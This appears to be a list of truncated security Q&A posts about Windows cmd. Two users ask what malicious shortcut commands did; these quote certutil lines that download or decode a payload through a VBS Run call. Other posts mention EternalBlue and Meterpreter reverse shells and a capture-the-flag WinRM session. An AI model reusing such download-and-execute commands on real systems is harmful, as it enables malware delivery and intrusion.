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Why does Windows not always force me to confirm my password when changing it?

If I can change my password with cmd net user example * without needing to confirm my old password, why, when I change my password in the usual way (via settings or control panel), do I need to ...
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How dangerous are cmd scripts? [closed]

I accidentally clicked on a shortcut that is a script.. The shortcut was: %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://...
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Is there such a thing as “parameterized terminal commands”?

Long ago, I used to do SQL queries like: SELECT * FROM table WHERE id = ' . attempt_to_escape($_GET['id']) . ' ORDER BY timestamp DESC LIMIT 1; This was horribly scary and I probably messed it up by ...
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Powershell (WinRM) and cmd.exe: reg query output deviation

during a CTF I encountered the following anomaly regarding PS & cmd.exe: I got access to a Windows x86 server through WinRM Port 5985 using evil-winrm. (https://github.com/Hackplayers/evil-winrm) ...
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why encryption result using 3 des is different between website and openssl commander?

I am working with OpenSSL using Windows 10 CMD. I am trying to encrypt something using triple des with key coded in base64 that stored in text file (assume that plain text is:"hi all I am someone", ...
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Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
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Downloaded a file which turned out to be a shortcut that ran the following command, not sure what it did [closed]

I downloaded a torrent which turned out to be a shortcut that did the following thing. %ComSpec% /c certutil -decode "Succession.S02E07.720p.WEB.x265-MiNX.mkv.lnk" "%APPDATA%\Microsoft\Windows\...
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Difference between shell and meterpreter? [duplicate]

What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells? 1) The non-meterpreter reverse shell: windows/shell/reverse_tcp 2) Meterpreter: windows/...
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Cmd shuts down computer immediately after windows boots up and logs into the default account/user [closed]

as the title suggests, after I login to default/main account which has administration privileges, after desktop loads almost instantly CMD opens and shuts down the computer, only way I found to stop ...
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Apple ID scam, gave control of my computer for a few minutes

I was called from what appears to be a legitimate apple phone number and I was told there was suspicious activity. Then I said I wanted to speak to someone and I was connected to a someone with an ...